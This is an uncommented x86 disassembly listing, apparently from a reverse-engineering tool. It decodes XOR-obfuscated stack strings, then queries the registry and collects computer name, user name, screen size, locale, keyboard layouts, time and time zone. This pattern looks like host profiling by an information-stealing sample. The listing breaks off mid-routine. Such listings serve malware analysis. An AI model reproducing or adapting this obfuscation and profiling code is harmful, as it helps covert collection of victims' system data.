mov byte [ebp - 0x2d0], 0x36
mov byte [ebp - 0x2cf], 0x32
mov byte [ebp - 0x2ce], 0x32
mov byte [ebp - 0x2cd], 0x29
mov byte [ebp - 0x2cc], 0x20
mov byte [ebp - 0x2cb], 0x36
mov byte [ebp - 0x2ca], 0x11
mov byte [ebp - 0x2c9], 0x2c
mov byte [ebp - 0x2c8], 0x3c
mov byte [ebp - 0x2c7], 0x3e
mov byte [ebp - 0x2c6], 0x2d
mov byte [ebp - 0x2c5], 0x21
mov byte [ebp - 0x2c4], 0x26
mov byte [ebp - 0x2c3], 0x4d
mov al, byte [ebp - 0x2ef]
mov dword [ebp - 0x1c], edx
nop
mov al, byte [ebp + edx - 0x2ef]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0x6e17af21
mov edx, 0x3d1045e4
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx + 0x21]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x2ef], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x2d
jb 0x417f50
lea eax, [ebp - 0x330]
push eax
push dword [ebp - 0x14]
lea eax, [ebp - 0x2ef]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x418250
mov dword [ebp - 0x35c], 0x20019
xor edx, edx
mov dword [ebp - 0x360], 0x400
mov byte [ebp - 0xb2], 0x20
mov byte [ebp - 0xb1], 3
mov byte [ebp - 0xb0], 0x14
mov byte [ebp - 0xaf], 0x1e
mov byte [ebp - 0xae], 0xc
mov byte [ebp - 0xad], 0x17
mov byte [ebp - 0xac], 0xf
mov byte [ebp - 0xab], 0x3e
mov byte [ebp - 0xaa], 0x1b
mov byte [ebp - 0xa9], 0x1d
mov byte [ebp - 0xa8], 0x11
mov byte [ebp - 0xa7], 0x84
mov al, byte [ebp - 0xb2]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0xb2]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0xc0e02c75
mov edx, 0xd7844be7
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x75]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0xb2], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
jb 0x418030
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x1b5c]
push eax
lea eax, [ebp - 0x35c]
push eax
push 0
lea eax, [ebp - 0xb2]
push eax
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x418244
xor edx, edx
mov dword [ebp - 0x14], edx
cmp byte [ebp - 0xd], dl
je 0x418102
mov byte [ebp - 0x38], 0x48
mov byte [ebp - 0x37], 3
mov byte [ebp - 0x36], 6
mov byte [ebp - 0x35], 0x35
mov al, byte [ebp - 0x38]
mov al, byte [ebp + edx - 0x38]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xb431d535
mov edx, 0xbaee67fc
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x35]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x38], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 4
jb 0x4180c1
lea esi, [ebp - 0x38]
jmp 0x418154
mov byte [ebp - 0x3c], 0x48
mov byte [ebp - 0x3b], 6
mov byte [ebp - 0x3a], 0
mov byte [ebp - 0x39], 0x35
mov al, byte [ebp - 0x3c]
mov al, byte [ebp + edx - 0x3c]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xb431d535
mov edx, 0xbaee67fc
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x35]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x3c], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 4
jb 0x418115
lea esi, [ebp - 0x3c]
mov byte [ebp - 0x1b2], 0x67
xor edx, edx
mov byte [ebp - 0x1b1], 0x54
mov edi, 0xf
mov byte [ebp - 0x1b0], 0x51
mov byte [ebp - 0x1af], 0x2f
mov byte [ebp - 0x1ae], 0x29
mov byte [ebp - 0x1ad], 0x3b
mov byte [ebp - 0x1ac], 0x38
mov byte [ebp - 0x1ab], 0x7b
mov byte [ebp - 0x1aa], 0x62
mov byte [ebp - 0x1a9], 0x66
mov byte [ebp - 0x1a8], 0x3c
mov byte [ebp - 0x1a7], 0x62
mov byte [ebp - 0x1a6], 0x19
mov byte [ebp - 0x1a5], 0x65
mov byte [ebp - 0x1a4], 0x38
mov byte [ebp - 0x1a3], 0x15
mov byte [ebp - 0x1a2], 0x4a
mov byte [ebp - 0x1a1], 0x4d
mov al, byte [ebp - 0x1b2]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x1b2]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0x58e7b03d
mov edx, 0x40aba857
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x3d]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x1b2], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x12
jb 0x4181e2
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x1b5c]
push esi
push eax
lea eax, [ebp - 0x1b2]
push eax
push edi
call fcn.0040bdd0
add esp, 0x10
mov esi, 0xf
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xc58]
push 0
push eax
call fcn.004fec40
add esp, 0xc
mov dword [ebp - 0x358], 0x104
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0xc58]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [ebp - 0x1c5], 0x73
xor edx, edx
mov byte [ebp - 0x1c4], 0x56
mov byte [ebp - 0x1c3], 0x5a
mov byte [ebp - 0x1c2], 0x48
mov byte [ebp - 0x1c1], 0x4e
mov byte [ebp - 0x1c0], 0x4b
mov byte [ebp - 0x1bf], 0x56
mov byte [ebp - 0x1be], 0x31
mov byte [ebp - 0x1bd], 0x65
mov byte [ebp - 0x1bc], 0xe
mov byte [ebp - 0x1bb], 0x21
mov byte [ebp - 0x1ba], 0x2e
mov byte [ebp - 0x1b9], 0x2b
mov byte [ebp - 0x1b8], 0x7b
mov byte [ebp - 0x1b7], 0x64
mov byte [ebp - 0x1b6], 0x62
mov byte [ebp - 0x1b5], 0x33
mov byte [ebp - 0x1b4], 0x43
mov byte [ebp - 0x1b3], 0x47
mov al, byte [ebp - 0x1c5]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x1c5]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0x3c164c39
mov edx, 0xf37b7324
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x39]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x1c5], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x13
jb 0x418314
lea eax, [ebp - 0xc58]
push eax
lea eax, [ebp - 0x1c5]
push eax
push edi
call fcn.0040bdd0
push 0x104
lea eax, [ebp - 0xd5c]
push 0
push eax
call fcn.004fec40
add esp, 0x18
mov dword [ebp - 0x354], 0x104
lea eax, [ebp - 0x354]
push eax
lea eax, [ebp - 0xd5c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [ebp - 0x12d], 0xf5
xor edx, edx
mov byte [ebp - 0x12c], 0xdb
mov byte [ebp - 0x12b], 0xc9
mov byte [ebp - 0x12a], 0xde
mov byte [ebp - 0x129], 0x8c
mov byte [ebp - 0x128], 0xe5
mov byte [ebp - 0x127], 0xc3
mov byte [ebp - 0x126], 0xcb
mov byte [ebp - 0x125], 0xca
mov byte [ebp - 0x124], 0x90
mov byte [ebp - 0x123], 0x84
mov byte [ebp - 0x122], 0x82
mov byte [ebp - 0x121], 0xda
mov byte [ebp - 0x120], 0xa4
mov byte [ebp - 0x11f], 0xa1
mov al, byte [ebp - 0x12d]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x12d]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xe5d98fa1
mov edx, 0x5e04bf06
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x5f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x12d], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xf
jb 0x418414
lea eax, [ebp - 0xd5c]
push eax
lea eax, [ebp - 0x12d]
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x438]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov byte [ebp - 0x233], 0x14
xor edx, edx
mov byte [ebp - 0x232], 0x36
mov byte [ebp - 0x231], 0x29
mov byte [ebp - 0x230], 0x21
mov byte [ebp - 0x22f], 0x3c
mov byte [ebp - 0x22e], 0x34
mov byte [ebp - 0x22d], 0x27
mov byte [ebp - 0x22c], 0x45
mov byte [ebp - 0x22b], 0x3a
mov byte [ebp - 0x22a], 0
mov byte [ebp - 0x229], 0x15
mov byte [ebp - 0x228], 9
mov byte [ebp - 0x227], 0xe
mov byte [ebp - 0x226], 0x15
mov byte [ebp - 0x225], 0x1e
mov byte [ebp - 0x224], 0
mov byte [ebp - 0x223], 0xf
mov byte [ebp - 0x222], 1
mov byte [ebp - 0x221], 0x50
mov byte [ebp - 0x220], 0x41
mov byte [ebp - 0x21f], 0x45
mov byte [ebp - 0x21e], 1
mov byte [ebp - 0x21d], 0x16
mov byte [ebp - 0x21c], 0x50
mov byte [ebp - 0x21b], 0x1c
mov byte [ebp - 0x21a], 0x7f
mov byte [ebp - 0x219], 0x76
mov al, byte [ebp - 0x233]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x233]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0x51bdd159
mov edx, 0x1d672579
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x59]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x233], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x1b
jb 0x418550
push dword [ebp - 0x42c]
lea eax, [ebp - 0x233]
push dword [ebp - 0x430]
push eax
push edi
call fcn.0040bdd0
push 0x400
lea eax, [ebp - 0x175c]
push 0
push eax
call fcn.004fec40
add esp, 0x1c
lea eax, [ebp - 0x175c]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
xor edx, edx
mov dword [ebp - 0x14], edx
test eax, eax
je 0x4186f0
mov byte [ebp - 0x218], 0x74
mov byte [ebp - 0x217], 0x58
mov byte [ebp - 0x216], 0x4c
mov byte [ebp - 0x215], 0x4f
mov byte [ebp - 0x214], 0x58
mov byte [ebp - 0x213], 0x55
mov byte [ebp - 0x212], 0x4b
mov byte [ebp - 0x211], 0x1f
mov byte [ebp - 0x210], 0x7c
mov byte [ebp - 0x20f], 0x5f
mov byte [ebp - 0x20e], 0x57
mov byte [ebp - 0x20d], 0x56
mov byte [ebp - 0x20c], 0x42
mov byte [ebp - 0x20b], 0x50
mov byte [ebp - 0x20a], 0x5a
mov byte [ebp - 0x209], 0x24
mov byte [ebp - 0x208], 0x7a
mov byte [ebp - 0x207], 0x61
mov byte [ebp - 0x206], 0x6a
mov byte [ebp - 0x205], 0x38
mov byte [ebp - 0x204], 0x37
mov byte [ebp - 0x203], 0x4e
mov byte [ebp - 0x202], 0x42
mov al, byte [ebp - 0x218]
nop dword [eax]
mov al, byte [ebp + edx - 0x218]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0x7521bc31
mov edx, 0x12fad249
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x31]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x218], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x17
jb 0x418690
lea eax, [ebp - 0x175c]
push eax
lea eax, [ebp - 0x218]
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
jmp 0x418807
mov byte [ebp - 0x24e], 0x14
mov byte [ebp - 0x24d], 0x36
mov byte [ebp - 0x24c], 0x29
mov byte [ebp - 0x24b], 0x21
mov byte [ebp - 0x24a], 0x3c
mov byte [ebp - 0x249], 0x34
mov byte [ebp - 0x248], 0x27
mov byte [ebp - 0x247], 0x45
mov byte [ebp - 0x246], 0x24
mov byte [ebp - 0x245], 4
mov byte [ebp - 0x244], 8
mov byte [ebp - 0x243], 1
mov byte [ebp - 0x242], 0x17
mov byte [ebp - 0x241], 1
mov byte [ebp - 0x240], 0xd
mov byte [ebp - 0x23f], 0xc
mov byte [ebp - 0x23e], 0x5a
mov byte [ebp - 0x23d], 0x4f
mov byte [ebp - 0x23c], 0x3f
mov byte [ebp - 0x23b], 0xf
mov byte [ebp - 0x23a], 0xb
mov byte [ebp - 0x239], 0xb
mov byte [ebp - 0x238], 1
mov byte [ebp - 0x237], 2
mov byte [ebp - 0x236], 0x16
mov byte [ebp - 0x235], 0x7f
mov byte [ebp - 0x234], 0x76
mov al, byte [ebp - 0x24e]
mov al, byte [ebp + edx - 0x24e]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0x51bdd159
mov edx, 0x1d672579
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x59]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x24e], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x1b
jb 0x4187b3
lea eax, [ebp - 0x24e]
push eax
push edi
call fcn.0040bdd0
add esp, 8
mov byte [ebp - 0x201], 0xfb
xor edx, edx
mov byte [ebp - 0x200], 0xdc
mov byte [ebp - 0x1ff], 0xcf
mov byte [ebp - 0x1fe], 0xda
mov byte [ebp - 0x1fd], 0xda
mov byte [ebp - 0x1fc], 0xd8
mov byte [ebp - 0x1fb], 0xc6
mov byte [ebp - 0x1fa], 0xd7
mov byte [ebp - 0x1f9], 0x97
mov byte [ebp - 0x1f8], 0xff
mov byte [ebp - 0x1f7], 0xdc
mov byte [ebp - 0x1f6], 0xd1
mov byte [ebp - 0x1f5], 0xdb
mov byte [ebp - 0x1f4], 0xc1
mov byte [ebp - 0x1f3], 0xd9
mov byte [ebp - 0x1f2], 0xa4
mov byte [ebp - 0x1f1], 0xa5
mov byte [ebp - 0x1f0], 0xba
mov byte [ebp - 0x1ef], 0xfc
mov byte [ebp - 0x1ee], 0xe8
mov byte [ebp - 0x1ed], 0xc5
mov al, byte [ebp - 0x201]
mov dword [ebp - 0x14], edx
nop word [eax + eax]
mov al, byte [ebp + edx - 0x201]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xb3f0c5b1
mov edx, 0x37a1369e
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x4f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x201], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x15
jb 0x4188b0
lea eax, [ebp - 0x201]
push eax
push edi
call fcn.0040bdd0
push 0x200
lea eax, [ebp - 0xf5c]
push 0
push eax
call fcn.004fec40
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0x14
push 0
push 0
call esi
mov dword [ebp - 0x24], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x418a32
push edi
push dword [ebp - 0x24]
call esi
xor esi, esi
mov dword [ebp - 0x24], eax
test eax, eax
je 0x418a2b
nop word [eax + eax]
push 0x200
lea eax, [ebp - 0xf5c]
push eax
movzx eax, word [edi + esi*4]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x418991
lea eax, [ebp - 0xf5c]
push eax
push dword [ebp - 0x20]
call fcn.0040bdd0
add esp, 8
jmp 0x418a0b
mov byte [ebp - 0x42], 0xd0
xor edx, edx
mov byte [ebp - 0x41], 0xde
mov edi, 0xf
mov byte [ebp - 0x40], 0xd1
mov byte [ebp - 0x3f], 0x23
mov byte [ebp - 0x3e], 0x7b
mov byte [ebp - 0x3d], 0xe
mov al, byte [ebp - 0x42]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x42]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0xb3c96efd
mov edx, 0x889ee0d3
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x42], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 6
jb 0x4189b6
lea eax, [ebp - 0xf5c]
push eax
lea eax, [ebp - 0x42]
push eax
push dword [ebp - 0x20]
call fcn.0040bdd0
mov edi, dword [ebp - 0x1c]
add esp, 0xc
push 0x200
lea eax, [ebp - 0xf5c]
push 0
push eax
call fcn.004fec40
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x24]
jb 0x418960
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x378]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x378], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov byte [ebp - 0x28e], 0x2a
xor edx, edx
mov byte [ebp - 0x28d], 0x68
mov esi, 0xf
mov byte [ebp - 0x28c], 0x48
mov byte [ebp - 0x28b], 0x4a
mov byte [ebp - 0x28a], 0x40
mov byte [ebp - 0x289], 0x4c
mov byte [ebp - 0x288], 0xf
mov byte [ebp - 0x287], 0x7a
mov byte [ebp - 0x286], 0x4c
mov byte [ebp - 0x285], 0x4b
mov byte [ebp - 0x284], 0x4a
mov byte [ebp - 0x283], 9
mov byte [ebp - 0x282], 0x1b
mov byte [ebp - 0x281], 0x10
mov byte [ebp - 0x280], 0x5e
mov byte [ebp - 0x27f], 0x1e
mov byte [ebp - 0x27e], 0x15
mov byte [ebp - 0x27d], 0x50
mov byte [ebp - 0x27c], 0x18
mov byte [ebp - 0x27b], 0x1c
mov byte [ebp - 0x27a], 0x55
mov byte [ebp - 0x279], 0x10
mov byte [ebp - 0x278], 0x1a
mov byte [ebp - 0x277], 0x5a
mov byte [ebp - 0x276], 0xf
mov byte [ebp - 0x275], 0x13
mov byte [ebp - 0x274], 0x5b
mov byte [ebp - 0x273], 0x79
mov byte [ebp - 0x272], 0x6e
mov byte [ebp - 0x271], 0x21
mov byte [ebp - 0x270], 0x40
mov byte [ebp - 0x26f], 0x41
mov al, byte [ebp - 0x28e]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x28e]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x24a81025
mov edx, 0x597a3088
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x25]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x28e], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x20
jb 0x418b40
movzx eax, word [ebp - 0x36c]
push eax
movzx eax, word [ebp - 0x36e]
mov edi, dword [ebp - 0x20]
push eax
movzx eax, word [ebp - 0x370]
push eax
movzx eax, word [ebp - 0x378]
push eax
movzx eax, word [ebp - 0x376]
push eax
movzx eax, word [ebp - 0x372]
push eax
lea eax, [ebp - 0x28e]
push eax
push edi
call fcn.0040bdd0
add esp, 0x20
lea eax, [ebp - 0x448]
xorps xmm0, xmm0
movups xmmword [ebp - 0x448], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x858]
push 0
push eax
call fcn.004fec40
add esp, 0xc
lea eax, [ebp - 0x858]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x548]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x858]
push eax
movups xmmword [ebp - 0x548], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm0, dword [ebp - 0x858]
xor edx, edx
cvtdq2ps xmm0, xmm0
mov byte [ebp - 0x17d], 0x14
mov byte [ebp - 0x17c], 0x27
mov byte [ebp - 0x17b], 0x2b
mov byte [ebp - 0x17a], 0x23
mov byte [ebp - 0x179], 0x17
divss xmm0, dword [0x5579a8]
mov byte [ebp - 0x178], 0x2e
mov byte [ebp - 0x177], 0x28
mov byte [ebp - 0x176], 0x33
mov byte [ebp - 0x175], 0x66
mov byte [ebp - 0x174], 0x76
mov byte [ebp - 0x173], 8
mov byte [ebp - 0x172], 1
mov byte [ebp - 0x171], 0x18
mov byte [ebp - 0x170], 0x70
mov byte [ebp - 0x16f], 0x37
mov byte [ebp - 0x16e], 0x58
mov byte [ebp - 0x16d], 0x50
mov al, byte [ebp - 0x17d]
mov dword [ebp - 0x14], edx
xorps xmm0, xmmword [0x557b50]
movss dword [ebp - 0x24], xmm0
mov al, byte [ebp + edx - 0x17d]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x69f0ad49
mov edx, 0xa43e1e4d
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x49]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x17d], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x11
jb 0x418cc5
cvttss2si eax, dword [ebp - 0x24]
push eax
lea eax, [ebp - 0x17d]
push eax
push edi
call fcn.0040bdd0
mov byte [ebp - 0xd7], 0x2a
add esp, 0xc
mov byte [ebp - 0xd6], 0x7b
xor edx, edx
mov byte [ebp - 0xd5], 0x6c
mov byte [ebp - 0xd4], 0x44
mov byte [ebp - 0xd3], 0x57
mov byte [ebp - 0xd2], 0x4a
mov byte [ebp - 0xd1], 0x5e
mov byte [ebp - 0xd0], 0x4f
mov byte [ebp - 0xcf], 0x5b
mov byte [ebp - 0xce], 0x46
mov byte [ebp - 0xcd], 0x73
mov byte [ebp - 0xcc], 0x2b
mov byte [ebp - 0xcb], 0x2c
mov al, byte [ebp - 0xd7]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0xd7]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x6e801721
mov edx, 0x1021d590
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x21]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0xd7], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xd
jb 0x418d83
lea eax, [ebp - 0xd7]
push eax
push edi
call fcn.0040bdd0
mov dword [ebp - 0x334], 0
add esp, 8
mov byte [ebp - 0x31e], 0x28
xor edx, edx
mov byte [ebp - 0x31d], 0x25
mov byte [ebp - 0x31c], 0x37
mov byte [ebp - 0x31b], 0x29
mov byte [ebp - 0x31a], 0x32
mov byte [ebp - 0x319], 0x22
mov byte [ebp - 0x318], 0x3c
mov byte [ebp - 0x317], 0x28
mov byte [ebp - 0x316], 0x3a
mov byte [ebp - 0x315], 0x29
mov byte [ebp - 0x314], 0x2d
mov byte [ebp - 0x313], 0x37
mov byte [ebp - 0x312], 0x2e
mov byte [ebp - 0x311], 0x3f
mov byte [ebp - 0x310], 0x2f
mov byte [ebp - 0x30f], 0x23
mov byte [ebp - 0x30e], 0x24
mov byte [ebp - 0x30d], 0x3d
mov byte [ebp - 0x30c], 0x3a
mov byte [ebp - 0x30b], 0x33
mov byte [ebp - 0x30a], 0x29
mov byte [ebp - 0x309], 0x20
mov byte [ebp - 0x308], 7
mov byte [ebp - 0x307], 0xe
mov byte [ebp - 0x306], 2
mov byte [ebp - 0x305], 0x18
mov byte [ebp - 0x304], 0x15
mov byte [ebp - 0x303], 0x28
mov byte [ebp - 0x302], 0x3e
mov byte [ebp - 0x301], 0x18
mov byte [ebp - 0x300], 0x18
mov byte [ebp - 0x2ff], 0xf7
mov byte [ebp - 0x2fe], 0xf2
mov byte [ebp - 0x2fd], 0xe5
mov byte [ebp - 0x2fc], 0xe9
mov byte [ebp - 0x2fb], 0xdd
mov byte [ebp - 0x2fa], 0xf7
mov byte [ebp - 0x2f9], 0xec
mov byte [ebp - 0x2f8], 0xed
mov byte [ebp - 0x2f7], 0xe8
mov byte [ebp - 0x2f6], 0xf5
mov byte [ebp - 0x2f5], 0xfe
mov byte [ebp - 0x2f4], 0xe7
mov byte [ebp - 0x2f3], 0xf6
mov byte [ebp - 0x2f2], 0xd1
mov byte [ebp - 0x2f1], 0xbd
mov byte [ebp - 0x2f0], 0x86
mov al, byte [ebp - 0x31e]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x31e]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x59509661
mov edx, 0x3930837f
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x31e], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x2f
jb 0x418f33
lea eax, [ebp - 0x334]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x31e]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4191a4
mov dword [ebp - 0x338], 0x20019
xor edx, edx
mov dword [ebp - 0x350], 0x400
mov byte [ebp - 0x1ec], 0xa0
mov byte [ebp - 0x1eb], 0x8b
mov byte [ebp - 0x1ea], 0x99
mov byte [ebp - 0x1e9], 0x93
mov byte [ebp - 0x1e8], 0x9b
mov byte [ebp - 0x1e7], 0x88
mov byte [ebp - 0x1e6], 0x85
mov byte [ebp - 0x1e5], 0x9d
mov byte [ebp - 0x1e4], 0x89
mov byte [ebp - 0x1e3], 0xbc
mov byte [ebp - 0x1e2], 0x99
mov byte [ebp - 0x1e1], 0x6c
mov byte [ebp - 0x1e0], 0x66
mov byte [ebp - 0x1df], 0x54
mov byte [ebp - 0x1de], 0x73
mov byte [ebp - 0x1dd], 0x75
mov byte [ebp - 0x1dc], 0x69
mov byte [ebp - 0x1db], 0x67
mov byte [ebp - 0x1da], 0x61
mov byte [ebp - 0x1d9], al
mov al, byte [ebp - 0x1ec]
mov dword [ebp - 0x14], edx
nop word [eax + eax]
mov al, byte [ebp + edx - 0x1ec]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xed1781f5
mov edx, 0x345217c6
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0xb]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x1ec], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x14
jb 0x419050
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x1f5c]
push eax
lea eax, [ebp - 0x338]
push eax
push 0
lea eax, [ebp - 0x1ec]
push eax
push dword [ebp - 0x334]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x419198
mov byte [ebp - 0x15a], 0xf0
xor edx, edx
mov byte [ebp - 0x159], 0xda
mov byte [ebp - 0x158], 0xc3
mov byte [ebp - 0x157], 0xcf
mov byte [ebp - 0x156], 0xc9
mov byte [ebp - 0x155], 0xd8
mov byte [ebp - 0x154], 0xd1
mov byte [ebp - 0x153], 0xc9
mov byte [ebp - 0x152], 0xdd
mov byte [ebp - 0x151], 0x90
mov byte [ebp - 0x150], 0x84
mov byte [ebp - 0x14f], 0x82
mov byte [ebp - 0x14e], 0xda
mov byte [ebp - 0x14d], 0xa4
mov byte [ebp - 0x14c], 0xa1
mov al, byte [ebp - 0x15a]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x15a]
mov ecx, edx
and ecx, esi
